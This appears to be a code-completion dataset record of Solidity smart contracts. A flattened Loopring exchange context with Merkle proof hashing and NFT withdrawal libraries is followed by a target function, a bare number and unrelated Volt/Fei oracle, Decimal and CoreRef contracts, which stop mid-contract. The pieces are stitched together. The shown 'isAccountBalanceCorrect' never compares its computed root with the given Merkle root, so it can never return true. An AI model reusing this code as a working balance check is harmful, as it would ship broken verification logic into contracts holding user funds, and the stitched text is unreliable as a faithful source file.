nonce, uint feeBipsAMM, uint balancesRoot, uint[48] memory accountMerkleProof ) private pure returns (uint) { // Hash the account leaf uint accountItem = hashAccountLeaf(uint(owner), pubKeyX, pubKeyY, nonce, feeBipsAMM, balancesRoot); // Calculate the Merkle root of the account quad Merkle tree uint _id = accountID; for (uint depth = 0; depth < 16; depth++) { uint base = depth * 3; if (_id & 3 == 0) { accountItem = hashImpl( accountItem, accountMerkleProof[base], accountMerkleProof[base + 1], accountMerkleProof[base + 2] ); } else if (_id & 3 == 1) { accountItem = hashImpl( accountMerkleProof[base], accountItem, accountMerkleProof[base + 1], accountMerkleProof[base + 2] ); } else if (_id & 3 == 2) { accountItem = hashImpl( accountMerkleProof[base], accountMerkleProof[base + 1], accountItem, accountMerkleProof[base + 2] ); } else if (_id & 3 == 3) { accountItem = hashImpl( accountMerkleProof[base], accountMerkleProof[base + 1], accountMerkleProof[base + 2], accountItem ); } _id = _id >> 2; } return accountItem; } function hashAccountLeaf( uint t0, uint t1, uint t2, uint t3, uint t4, uint t5 ) public pure returns (uint) { Poseidon.HashInputs7 memory inputs = Poseidon.HashInputs7(t0, t1, t2, t3, t4, t5, 0); return Poseidon.hash_t7f6p52(inputs, ExchangeData.SNARK_SCALAR_FIELD); } function hashImpl( uint t0, uint t1, uint t2, uint t3 ) private pure returns (uint) { Poseidon.HashInputs5 memory inputs = Poseidon.HashInputs5(t0, t1, t2, t3, 0); return Poseidon.hash_t5f6p52(inputs, ExchangeData.SNARK_SCALAR_FIELD); } } // File: contracts/core/iface/IL2MintableNFT.sol // Copyright 2017 Loopring Technology Limited. interface IL2MintableNFT { /// @dev This function is called when an NFT minted on L2 is withdrawn from Loopring. /// That means the NFTs were burned on L2 and now need to be minted on L1. /// /// This function can only be called by the Loopring exchange. /// /// @param to The owner of the NFT /// @param tokenId The token type 'id` /// @param amount The amount of NFTs to mint /// @param minter The minter on L2, which can be used to decide if the NFT is authentic /// @param data Opaque data that can be used by the contract function mintFromL2( address to, uint256 tokenId, uint amount, address minter, bytes calldata data ) external; /// @dev Returns a list of all address that are authorized to mint NFTs on L2. /// @return The list of authorized minter on L2 function minters() external view returns (address[] memory); } // File: contracts/thirdparty/erc165/IERC165.sol /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: contracts/thirdparty/erc165/ERC165.sol /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: contracts/thirdparty/erc1155/IERC1155.sol /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // File: contracts/thirdparty/erc721/IERC721.sol /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: contracts/core/impl/libexchange/ExchangeNFT.sol // Copyright 2017 Loopring Technology Limited. /// @title ExchangeNFT /// @author Brecht Devos - <[email protected]> library ExchangeNFT { using ExchangeNFT for ExchangeData.State; using AddressUtil for address; function deposit( ExchangeData.State storage S, address from, ExchangeData.NftType nftType, address token, uint256 nftID, uint amount, bytes memory extraData ) internal { if (amount == 0) { return; } // Disable calls to certain contracts require(S.isTokenAddressAllowed(token), "TOKEN_ADDRESS_NOT_ALLOWED"); if (nftType == ExchangeData.NftType.ERC1155) { IERC1155(token).safeTransferFrom( from, address(this), nftID, amount, extraData ); } else if (nftType == ExchangeData.NftType.ERC721) { require(amount == 1, "INVALID_AMOUNT"); IERC721(token).safeTransferFrom( from, address(this), nftID, extraData ); } else { revert("UNKNOWN_NFTTYPE"); } } function withdraw( ExchangeData.State storage S, address /*from*/, address to, ExchangeData.NftType nftType, address token, uint256 nftID, uint amount, bytes memory extraData, uint gasLimit ) internal returns (bool success) { if (amount == 0) { return true; } // Disable calls to certain contracts if(!S.isTokenAddressAllowed(token)) { return false; } if (nftType == ExchangeData.NftType.ERC1155) { try IERC1155(token).safeTransferFrom{gas: gasLimit}( address(this), to, nftID, amount, extraData ) { success = true; } catch { success = false; } } else if (nftType == ExchangeData.NftType.ERC721) { try IERC721(token).safeTransferFrom{gas: gasLimit}( address(this), to, nftID, extraData ) { success = true; } catch { success = false; } } else { revert("UNKNOWN_NFTTYPE"); } } function mintFromL2( ExchangeData.State storage S, address to, address token, uint256 nftID, uint amount, address minter, bytes memory extraData, uint gasLimit ) internal returns (bool success) { if (amount == 0) { return true; } // Disable calls to certain contracts if(!S.isTokenAddressAllowed(token)) { return false; } try IL2MintableNFT(token).mintFromL2{gas: gasLimit}( to, nftID, amount, minter, extraData ) { success = true; } catch { success = false; } } function isTokenAddressAllowed( ExchangeData.State storage S, address token ) internal view returns (bool valid) { return (token != address(this) && token != address(S.depositContract)) && token.isContract(); } } // File: contracts/core/impl/libexchange/ExchangeWithdrawals.sol // Copyright 2017 Loopring Technology Limited. /// @title ExchangeWithdrawals. /// @author Brecht Devos - <[email protected]> /// @author Daniel Wang - <[email protected]> library ExchangeWithdrawals { enum WithdrawalCategory { DISTRIBUTION, FROM_MERKLE_TREE, FROM_DEPOSIT_REQUEST, FROM_APPROVED_WITHDRAWAL } using AddressUtil for address; using AddressUtil for address payable; using BytesUtil for bytes; using MathUint for uint; using ExchangeBalances for ExchangeData.State; using ExchangeMode for ExchangeData.State; using ExchangeTokens for ExchangeData.State; using ExchangeTokens for uint16; event ForcedWithdrawalRequested( address owner, uint16 tokenID, // ERC20 token ID ( if < NFT_TOKEN_ID_START) or // NFT balance slot (if >= NFT_TOKEN_ID_START) uint32 accountID ); event WithdrawalCompleted( uint8 category, address from, address to, address token, uint amount ); event WithdrawalFailed( uint8 category, address from, address to, address token, uint amount ); event NftWithdrawalCompleted( uint8 category, address from, address to, uint16 tokenID, address token, uint256 nftID, uint amount ); event NftWithdrawalFailed( uint8 category, address from, address to, uint16 tokenID, address token, uint256 nftID, uint amount ); function forceWithdraw( ExchangeData.State storage S, address owner, uint16 tokenID, // ERC20 token ID ( if < NFT_TOKEN_ID_START) or // NFT balance slot (if >= NFT_TOKEN_ID_START) uint32 accountID ) public { require(!S.isInWithdrawalMode(), "INVALID_MODE"); // Limit the amount of pending forced withdrawals so that the owner cannot be overwhelmed. require(S.getNumAvailableForcedSlots() > 0, "TOO_MANY_REQUESTS_OPEN"); require(accountID < ExchangeData.MAX_NUM_ACCOUNTS, "INVALID_ACCOUNTID"); // Only allow withdrawing from registered ERC20 tokens or NFT tokenIDs require( tokenID < S.tokens.length || // ERC20 tokenID.isNFT(), // NFT "INVALID_TOKENID" ); // A user needs to pay a fixed ETH withdrawal fee, set by the protocol. uint withdrawalFeeETH = S.loopring.forcedWithdrawalFee(); // Check ETH value sent, can be larger than the expected withdraw fee require(msg.value >= withdrawalFeeETH, "INSUFFICIENT_FEE"); // Send surplus of ETH back to the sender uint feeSurplus = msg.value.sub(withdrawalFeeETH); if (feeSurplus > 0) { msg.sender.sendETHAndVerify(feeSurplus, gasleft()); } // There can only be a single forced withdrawal per (account, token) pair. require( S.pendingForcedWithdrawals[accountID][tokenID].timestamp == 0, "WITHDRAWAL_ALREADY_PENDING" ); // Store the forced withdrawal request data S.pendingForcedWithdrawals[accountID][tokenID] = ExchangeData.ForcedWithdrawal({ owner: owner, timestamp: uint64(block.timestamp) }); // Increment the number of pending forced transactions so we can keep count. S.numPendingForcedTransactions++; emit ForcedWithdrawalRequested( owner, tokenID, accountID ); } // We alow anyone to withdraw these funds for the account owner function withdrawFromMerkleTree( ExchangeData.State storage S, ExchangeData.MerkleProof calldata merkleProof ) public { require(S.isInWithdrawalMode(), "NOT_IN_WITHDRAW_MODE"); address owner = merkleProof.accountLeaf.owner; uint32 accountID = merkleProof.accountLeaf.accountID; uint16 tokenID = merkleProof.balanceLeaf.tokenID; uint96 balance = merkleProof.balanceLeaf.balance; // Make sure the funds aren't withdrawn already. require(S.withdrawnInWithdrawMode[accountID][tokenID] == false, "WITHDRAWN_ALREADY"); // Verify that the provided Merkle tree data is valid by using the Merkle proof. ExchangeBalances.verifyAccountBalance( uint(S.merkleRoot), merkleProof ); // Make sure the balance can only be withdrawn once S.withdrawnInWithdrawMode[accountID][tokenID] = true; if (!tokenID.isNFT()) { require( merkleProof.nft.nftID == 0 && merkleProof.nft.minter == address(0), "NOT_AN_NFT" ); // Transfer the tokens to the account owner transferTokens( S, uint8(WithdrawalCategory.FROM_MERKLE_TREE), owner, owner, tokenID, balance, new bytes(0), gasleft(), false ); } else { transferNFTs( S, uint8(WithdrawalCategory.DISTRIBUTION), owner, owner, tokenID, balance, merkleProof.nft, new bytes(0), gasleft(), false ); } } function withdrawFromDepositRequest( ExchangeData.State storage S, address owner, address token ) public { uint16 tokenID = S.getTokenID(token); ExchangeData.Deposit storage deposit = S.pendingDeposits[owner][tokenID]; require(deposit.timestamp != 0, "DEPOSIT_NOT_WITHDRAWABLE_YET"); // Check if the deposit has indeed exceeded the time limit of if the exchange is in withdrawal mode require( block.timestamp >= deposit.timestamp + S.maxAgeDepositUntilWithdrawable || S.isInWithdrawalMode(), "DEPOSIT_NOT_WITHDRAWABLE_YET" ); uint amount = deposit.amount; // Reset the deposit request delete S.pendingDeposits[owner][tokenID]; // Transfer the tokens transferTokens( S, uint8(WithdrawalCategory.FROM_DEPOSIT_REQUEST), owner, owner, tokenID, amount, new bytes(0), gasleft(), false ); } function withdrawFromNFTDepositRequest( ExchangeData.State storage S, address owner, address token, ExchangeData.NftType nftType, uint256 nftID ) public { ExchangeData.Deposit storage deposit = S.pendingNFTDeposits[owner][nftType][token][nftID]; require(deposit.timestamp != 0, "DEPOSIT_NOT_WITHDRAWABLE_YET"); // Check if the deposit has indeed exceeded the time limit of if the exchange is in withdrawal mode require( block.timestamp >= deposit.timestamp + S.maxAgeDepositUntilWithdrawable || S.isInWithdrawalMode(), "DEPOSIT_NOT_WITHDRAWABLE_YET" ); uint amount = deposit.amount; // Reset the deposit request delete S.pendingNFTDeposits[owner][nftType][token][nftID]; ExchangeData.Nft memory nft = ExchangeData.Nft({ minter: token, nftType: nftType, token: token, nftID: nftID, creatorFeeBips: 0 }); // Transfer the NFTs transferNFTs( S, uint8(WithdrawalCategory.FROM_DEPOSIT_REQUEST), owner, owner, 0, amount, nft, new bytes(0), gasleft(), false ); } function withdrawFromApprovedWithdrawals( ExchangeData.State storage S, address[] memory owners, address[] memory tokens ) public { require(owners.length == tokens.length, "INVALID_INPUT_DATA"); for (uint i = 0; i < owners.length; i++) { address owner = owners[i]; uint16 tokenID = S.getTokenID(tokens[i]); uint amount = S.amountWithdrawable[owner][tokenID]; // Make sure this amount can't be withdrawn again delete S.amountWithdrawable[owner][tokenID]; // Transfer the tokens to the owner transferTokens( S, uint8(WithdrawalCategory.FROM_APPROVED_WITHDRAWAL), owner, owner, tokenID, amount, new bytes(0), gasleft(), false ); } } function withdrawFromApprovedWithdrawalsNFT( ExchangeData.State storage S, address[] memory owners, address[] memory minters, ExchangeData.NftType[] memory nftTypes, address[] memory tokens, uint256[] memory nftIDs ) public { require(owners.length == minters.length, "INVALID_INPUT_DATA_MINTERS"); require(owners.length == nftTypes.length, "INVALID_INPUT_DATA_NFTTYPES"); require(owners.length == tokens.length, "INVALID_INPUT_DATA_TOKENS"); require(owners.length == nftIDs.length, "INVALID_INPUT_DATA_CONTENT_URIS"); for (uint i = 0; i < owners.length; i++) { address owner = owners[i]; address minter = minters[i]; ExchangeData.NftType nftType = nftTypes[i]; address token = tokens[i]; uint256 nftID = nftIDs[i]; uint amount = S.amountWithdrawableNFT[owner][minter][nftType][token][nftID]; // Make sure this amount can't be withdrawn again delete S.amountWithdrawableNFT[owner][minter][nftType][token][nftID]; ExchangeData.Nft memory nft = ExchangeData.Nft({ minter: minter, nftType: nftType, token: token, nftID: nftID, creatorFeeBips: 0 }); // Transfer the NFTs to the owner transferNFTs( S, uint8(WithdrawalCategory.DISTRIBUTION), owner, owner, 0, amount, nft, new bytes(0), gasleft(), false ); } } function distributeWithdrawal( ExchangeData.State storage S, address from, address to, uint16 tokenID, uint amount, bytes memory extraData, uint gasLimit, ExchangeData.Nft memory nft ) public { if (!tokenID.isNFT()) { // Try to transfer the tokens if (!transferTokens( S, uint8(WithdrawalCategory.DISTRIBUTION), from, to, tokenID, amount, extraData, gasLimit, true )) { // If the transfer was successful there's nothing left to do. // However, if the transfer failed the tokens are still in the contract and can be // withdrawn later to `to` by anyone by using `withdrawFromApprovedWithdrawal. S.amountWithdrawable[to][tokenID] = S.amountWithdrawable[to][tokenID].add(amount); } } else { // Try to transfer the tokens if (!transferNFTs( S, uint8(WithdrawalCategory.DISTRIBUTION), from, to, tokenID, amount, nft, extraData, gasLimit, true )) { // If the transfer was successful there's nothing left to do. // However, if the transfer failed the tokens are still in the contract and can be // withdrawn later to `to` by anyone by using `withdrawFromApprovedNftWithdrawal. S.amountWithdrawableNFT[to][nft.minter][nft.nftType][nft.token][nft.nftID] = S.amountWithdrawableNFT[to][nft.minter][nft.nftType][nft.token][nft.nftID].add(amount); } } } // == Internal and Private Functions == // If allowFailure is true the transfer can fail because of a transfer error or // because the transfer uses more than `gasLimit` gas. The function // will return true when successful, false otherwise. // If allowFailure is false the transfer is guaranteed to succeed using // as much gas as needed, otherwise it throws. The function always returns true. function transferTokens( ExchangeData.State storage S, uint8 category, address from, address to, uint16 tokenID, uint amount, bytes memory extraData, uint gasLimit, bool allowFailure ) private returns (bool success) { // Redirect withdrawals to address(0) to the protocol fee vault if (to == address(0)) { to = S.loopring.protocolFeeVault(); } address token = S.getTokenAddress(tokenID); // Transfer the tokens from the deposit contract to the owner if (gasLimit > 0) { try S.depositContract.withdraw{gas: gasLimit}(from, to, token, amount, extraData) { success = true; } catch { success = false; } } else { success = false; } require(allowFailure || success, "TRANSFER_FAILURE"); if (success) { emit WithdrawalCompleted(category, from, to, token, amount); // Keep track of when the protocol fees were last withdrawn // (only done to make this data easier available). if (from == address(0)) { S.protocolFeeLastWithdrawnTime[token] = block.timestamp; } } else { emit WithdrawalFailed(category, from, to, token, amount); } } // If allowFailure is true the transfer can fail because of a transfer error or // because the transfer uses more than `gasLimit` gas. The function // will return true when successful, false otherwise. // If allowFailure is false the transfer is guaranteed to succeed using // as much gas as needed, otherwise it throws. The function always returns true. function transferNFTs( ExchangeData.State storage S, uint8 category, address from, address to, uint16 tokenID, uint amount, ExchangeData.Nft memory nft, bytes memory extraData, uint gasLimit, bool allowFailure ) private returns (bool success) { if (gasLimit > 0) { if (nft.token == nft.minter) { // This is an existing thirdparty NFT contract success = ExchangeNFT.withdraw( S, from, to, nft.nftType, nft.token, nft.nftID, amount, extraData, gasLimit ); } else { // This is an NFT contract with L2 minting support success = ExchangeNFT.mintFromL2( S, to, nft.token, nft.nftID, amount, nft.minter, extraData, gasLimit ); } } else { success = false; } require(allowFailure || success, "NFT_TRANSFER_FAILURE"); if (success) { emit NftWithdrawalCompleted(category, from, to, tokenID, nft.token, nft.nftID, amount); } else { emit NftWithdrawalFailed(category, from, to, tokenID, nft.token, nft.nftID, amount); } } }
Calculate the Merkle root using the Merkle paths provided Verify the NFT data
function isAccountBalanceCorrect( uint merkleRoot, ExchangeData.MerkleProof memory merkleProof ) public pure returns (bool) { uint calculatedRoot = getBalancesRoot( merkleProof.balanceLeaf.tokenID, merkleProof.balanceLeaf.balance, merkleProof.balanceLeaf.weightAMM, merkleProof.balanceLeaf.storageRoot, merkleProof.balanceMerkleProof ); calculatedRoot = getAccountInternalsRoot( merkleProof.accountLeaf.accountID, merkleProof.accountLeaf.owner, merkleProof.accountLeaf.pubKeyX, merkleProof.accountLeaf.pubKeyY, merkleProof.accountLeaf.nonce, merkleProof.accountLeaf.feeBipsAMM, calculatedRoot, merkleProof.accountMerkleProof ); if (merkleProof.balanceLeaf.tokenID.isNFT()) { uint minter = uint(merkleProof.nft.minter); uint nftType = uint(merkleProof.nft.nftType); uint token = uint(merkleProof.nft.token); uint nftIDLo = merkleProof.nft.nftID & 0xffffffffffffffffffffffffffffffff; uint nftIDHi = merkleProof.nft.nftID >> 128; uint creatorFeeBips = merkleProof.nft.creatorFeeBips; Poseidon.HashInputs7 memory inputs = Poseidon.HashInputs7( minter, nftType, token, nftIDLo, nftIDHi, creatorFeeBips, 0 ); uint nftData = Poseidon.hash_t7f6p52(inputs, ExchangeData.SNARK_SCALAR_FIELD); if (nftData != merkleProof.balanceLeaf.weightAMM) { return false; } } }
7,920,806
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import {Decimal} from "../external/Decimal.sol"; import {CoreRef} from "./../refs/CoreRef.sol"; import {IScalingPriceOracle} from "./IScalingPriceOracle.sol"; import {IOraclePassThrough} from "./IOraclePassThrough.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; /// @notice contract that passes all price calls to the Scaling Price Oracle /// The Scaling Price Oracle can be changed if there is a decision to change how data is interpolated /// without needing all contracts in the system to be upgraded, only this contract will have to change where it points /// @author Elliot Friedman contract OraclePassThrough is IOraclePassThrough, Ownable { using Decimal for Decimal.D256; /// @notice reference to the scaling price oracle IScalingPriceOracle public override scalingPriceOracle; constructor(IScalingPriceOracle _scalingPriceOracle) Ownable() { scalingPriceOracle = _scalingPriceOracle; } /// @notice updates the oracle price /// @dev no-op, ScalingPriceOracle is updated automatically /// added for backwards compatibility with OracleRef function update() public {} // ----------- Getters ----------- /// @notice function to get the current oracle price for the OracleRef contract function read() external view override returns (Decimal.D256 memory price, bool valid) { uint256 currentPrice = scalingPriceOracle.getCurrentOraclePrice(); price = Decimal.from(currentPrice).div(1e18); valid = true; } /// @notice function to get the current oracle price for the entire system function getCurrentOraclePrice() external view override returns (uint256) { return scalingPriceOracle.getCurrentOraclePrice(); } /// @notice function to get the current oracle price for the entire system function currPegPrice() external view override returns (uint256) { return scalingPriceOracle.getCurrentOraclePrice(); } // ----------- Governance only state changing api ----------- /// @notice function to update the pointer to the scaling price oracle /// requires approval from all parties on multisig to update function updateScalingPriceOracle(IScalingPriceOracle newScalingPriceOracle) external override onlyOwner { IScalingPriceOracle oldScalingPriceOracle = scalingPriceOracle; scalingPriceOracle = newScalingPriceOracle; emit ScalingPriceOracleUpdate( oldScalingPriceOracle, newScalingPriceOracle ); } } /* Copyright 2019 dYdX Trading Inc. Copyright 2020 Empty Set Squad <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.8.4; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; /** * @title Decimal * @author dYdX * * Library that defines a fixed-point number with 18 decimal places. */ library Decimal { using SafeMath for uint256; // ============ Constants ============ uint256 private constant BASE = 10**18; // ============ Structs ============ struct D256 { uint256 value; } // ============ Static Functions ============ function zero() internal pure returns (D256 memory) { return D256({value: 0}); } function one() internal pure returns (D256 memory) { return D256({value: BASE}); } function from(uint256 a) internal pure returns (D256 memory) { return D256({value: a.mul(BASE)}); } function ratio(uint256 a, uint256 b) internal pure returns (D256 memory) { return D256({value: getPartial(a, BASE, b)}); } // ============ Self Functions ============ function add(D256 memory self, uint256 b) internal pure returns (D256 memory) { return D256({value: self.value.add(b.mul(BASE))}); } function sub(D256 memory self, uint256 b) internal pure returns (D256 memory) { return D256({value: self.value.sub(b.mul(BASE))}); } function sub( D256 memory self, uint256 b, string memory reason ) internal pure returns (D256 memory) { return D256({value: self.value.sub(b.mul(BASE), reason)}); } function mul(D256 memory self, uint256 b) internal pure returns (D256 memory) { return D256({value: self.value.mul(b)}); } function div(D256 memory self, uint256 b) internal pure returns (D256 memory) { return D256({value: self.value.div(b)}); } function pow(D256 memory self, uint256 b) internal pure returns (D256 memory) { if (b == 0) { return from(1); } D256 memory temp = D256({value: self.value}); for (uint256 i = 1; i < b; i++) { temp = mul(temp, self); } return temp; } function add(D256 memory self, D256 memory b) internal pure returns (D256 memory) { return D256({value: self.value.add(b.value)}); } function sub(D256 memory self, D256 memory b) internal pure returns (D256 memory) { return D256({value: self.value.sub(b.value)}); } function sub( D256 memory self, D256 memory b, string memory reason ) internal pure returns (D256 memory) { return D256({value: self.value.sub(b.value, reason)}); } function mul(D256 memory self, D256 memory b) internal pure returns (D256 memory) { return D256({value: getPartial(self.value, b.value, BASE)}); } function div(D256 memory self, D256 memory b) internal pure returns (D256 memory) { return D256({value: getPartial(self.value, BASE, b.value)}); } function equals(D256 memory self, D256 memory b) internal pure returns (bool) { return self.value == b.value; } function greaterThan(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) == 2; } function lessThan(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) == 0; } function greaterThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) > 0; } function lessThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) < 2; } function isZero(D256 memory self) internal pure returns (bool) { return self.value == 0; } function asUint256(D256 memory self) internal pure returns (uint256) { return self.value.div(BASE); } // ============ Core Methods ============ function getPartial( uint256 target, uint256 numerator, uint256 denominator ) private pure returns (uint256) { return target.mul(numerator).div(denominator); } function compareTo(D256 memory a, D256 memory b) private pure returns (uint256) { if (a.value == b.value) { return 1; } return a.value > b.value ? 2 : 0; } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import "./ICoreRef.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; /// @title A Reference to Core /// @author Fei Protocol /// @notice defines some modifiers and utilities around interacting with Core abstract contract CoreRef is ICoreRef, Pausable { ICore private immutable _core; IVolt private immutable _volt; IERC20 private immutable _vcon; /// @notice a role used with a subset of governor permissions for this contract only bytes32 public override CONTRACT_ADMIN_ROLE; constructor(address coreAddress) { _core = ICore(coreAddress); _volt = ICore(coreAddress).volt(); _vcon = ICore(coreAddress).vcon(); _setContractAdminRole(ICore(coreAddress).GOVERN_ROLE()); } function _initialize() internal {} // no-op for backward compatibility modifier ifMinterSelf() { if (_core.isMinter(address(this))) { _; } } modifier onlyMinter() { require(_core.isMinter(msg.sender), "CoreRef: Caller is not a minter"); _; } modifier onlyBurner() { require(_core.isBurner(msg.sender), "CoreRef: Caller is not a burner"); _; } modifier onlyPCVController() { require( _core.isPCVController(msg.sender), "CoreRef: Caller is not a PCV controller" ); _; } modifier onlyGovernorOrAdmin() { require( _core.isGovernor(msg.sender) || isContractAdmin(msg.sender), "CoreRef: Caller is not a governor or contract admin" ); _; } modifier onlyGovernor() { require( _core.isGovernor(msg.sender), "CoreRef: Caller is not a governor" ); _; } modifier onlyGuardianOrGovernor() { require( _core.isGovernor(msg.sender) || _core.isGuardian(msg.sender), "CoreRef: Caller is not a guardian or governor" ); _; } modifier onlyGovernorOrGuardianOrAdmin() { require( _core.isGovernor(msg.sender) || _core.isGuardian(msg.sender) || isContractAdmin(msg.sender), "CoreRef: Caller is not governor or guardian or admin" ); _; } // Named onlyTribeRole to prevent collision with OZ onlyRole modifier 